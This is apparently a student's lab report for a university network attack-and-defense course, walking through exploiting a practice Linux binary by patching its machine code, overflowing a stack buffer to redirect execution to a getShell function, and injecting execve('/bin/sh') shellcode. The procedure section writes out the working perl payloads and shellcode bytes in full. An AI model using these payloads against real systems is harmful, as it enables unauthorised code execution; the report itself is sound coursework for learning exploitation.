20222321 2024-2025-1 《網路與系統攻防技術》實驗一實驗報告

yang07194發表於2024-10-10

一.實驗內容
1 實驗目標
本次實踐的物件是一個名為pwn1的linux可執行檔案。
該程式正常執行流程是:main呼叫foo函式,foo函式會簡單回顯任何使用者輸入的字串。
該程式同時包含另一個程式碼片段,getShell,會返回一個可用Shell。正常情況下這個程式碼是不會被執行的。我們實踐的目標就是想辦法執行這個程式碼片段。以及學習如何注入執行任何Shellcode。

2 實驗要求
1.熟悉Linux基本操作:
能看懂常用指令,如管道(|),輸入、輸出重定向(>)等。
2.理解Bof的原理:
能看得懂彙編、機器指令、EIP、指令地址。
3.會使用gdb,vi。
3 基礎知識
1.NOP, JNE, JE, JMP, CMP彙編指令
(1)NOP:NOP指令即“空指令”。執行到NOP指令時,CPU什麼也不做,僅僅當做一個指令執行過去並繼續執行NOP後面的一條指令。
(2)JNE:條件轉移指令,如果不相等則跳轉。
(3)JE:條件轉移指令,如果相等則跳轉。
(4)JMP:無條件轉移指令。段內直接短轉Jmp short,段內直接近轉移Jmp near,段內間接轉移Jmp word,段間直接(遠)轉移Jmp far
(5)CMP:比較指令,功能相當於減法指令。
2.十六進位制編輯器
(1)%!xxd 進入十六進位制編輯模式
(2)%!xxd -r 切換回原模式
3.Perl: Perl是一門解釋型語言,不需要預編譯,可以在命令列上直接使用。 使用輸出重定向“>”將perl生成的字串儲存到檔案input中。
4.反彙編指令objdump:用於顯示二進位制檔案(如可執行檔案、目標檔案和庫檔案)的多種資訊。它主要用於反彙編二進位制檔案,以檢視其機器程式碼和對應的彙編指令。
基本用法:objdump [選項]… 檔案…
常用選項:(1)-d 或 --disassemble:反彙編指定的二進位制檔案。
(2)-D:反彙編所有段(包括 .text 和 .data 等)。
(3)-S 或 --source:混合顯示彙編程式碼和原始碼(需要編譯時包含除錯資訊)。
(4)-C 或 --demangle:將 C++ 符號名解碼為可讀形式。
(5)-t 或 --syms:顯示符號表。
(6)-h 或 --headers:顯示檔案頭資訊。
二.實驗過程
1.直接修改程式機器指令,改變程式執行流程
(1)首先下載pwn1,進行反彙編

(2)輸入cp pwn-1 pwn20222321複製檔案;輸入vi pwn20222321進入編輯,隨後輸入:%!xxd將顯示模式切換為16進位制模式,並查詢要修改的內容

(3)按i將d7更改為e3

(4)轉換16進製為原格式,輸入:wq儲存,再反彙編看一下,call指令是否正確呼叫getShell

發現執行shell。

2.透過構造輸入引數,造成BOF攻擊,改變程式執行流
(1)安裝gdb並檢驗gdb是否安裝成功

(3)使用gbd pwn20222321除錯程式,輸入r,再輸入1111111122222222333333334444444412345678,輸入命令 info r檢視暫存器eip的值,發現輸入的1234(十六進位制0x34333231)為被覆蓋到堆疊上的返回地址。


(4)透過反彙編得知getShell的地址為u0x0804847d,輸入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input構造輸入字串,再輸入(cat input;cat) | ./pwn20222422-2將將input的輸入,透過管道符“|”,作為pwn20222321的輸入:

發現執行shell

3.注入Shellcode
(1)透過網址:http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb下載execstack,再透過sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb解壓
(2)切換root使用者並初始化pwn20222321

(4)構造payload
輸入:perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
構造input_shellcode檔案,輸入(cat input_shellcode; cat) | ./pwn20222422-3將input_shellcode作為輸入執行pwn20222321

(5)新開啟一個終端,輸入ps -ef | grep pwn20222422-3檢視程序號

發現程序號為28512,使用gdb除錯pwn202223212,輸入命令attach 28512,接著輸入命令disassemble foo,反編譯foo函式

(6)輸入break *0x080484ae設定斷點,再輸入info r esp檢視棧頂指標所在位置,為0xffffcfdc
接著輸入x/16x 0xffffcfdc檢視,出現了之前輸入的·0x04030201

(7)棧頂指標地址加4位元組,就是shellcode應該處於的地址,即0xffffcfdc+4=0xffffcfe0,輸入perl -e 'print "A" x 32;print "\xf0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode,再輸入(cat input_shellcode; cat) | ./pwn20222321

發現執行shell

三.問題及解決方案
-問題1:安裝kali時提示網路配置失敗
-問題1解決方案:將虛擬機器設定中網路型別由“使用橋接網路”改為“使用網路地址轉換(NAT)”

-問題2:在修改檔案內容的時候,發現直接輸入/e8d7查詢不到相關內容
-問題2解決方案:在e8和d7間加一個空格之後可以解決

-問題3:在注入shellcode時候,第一步初始化總是報錯
-問題3解決方案:求助同學後發現是因為許可權不夠,需先輸入sudo passwd root設定root賬戶密碼,再用su root切換為root賬戶再進行初始化

四.學習感悟、思考
透過此次實驗,我對於Linux系統的基本操作及常用指令、基本反彙編指令、緩衝區溢位攻擊(BOF)的基本原理有了進一步的理解,並初步學會了如何在實際中應用這些理論。整個實驗過程不算是一帆風順,期間遇到了不少困難,甚至重灌了幾次系統。透過上網查詢以及求助同學等方法,我最終解決了這些問題,提升了自己解決問

相關文章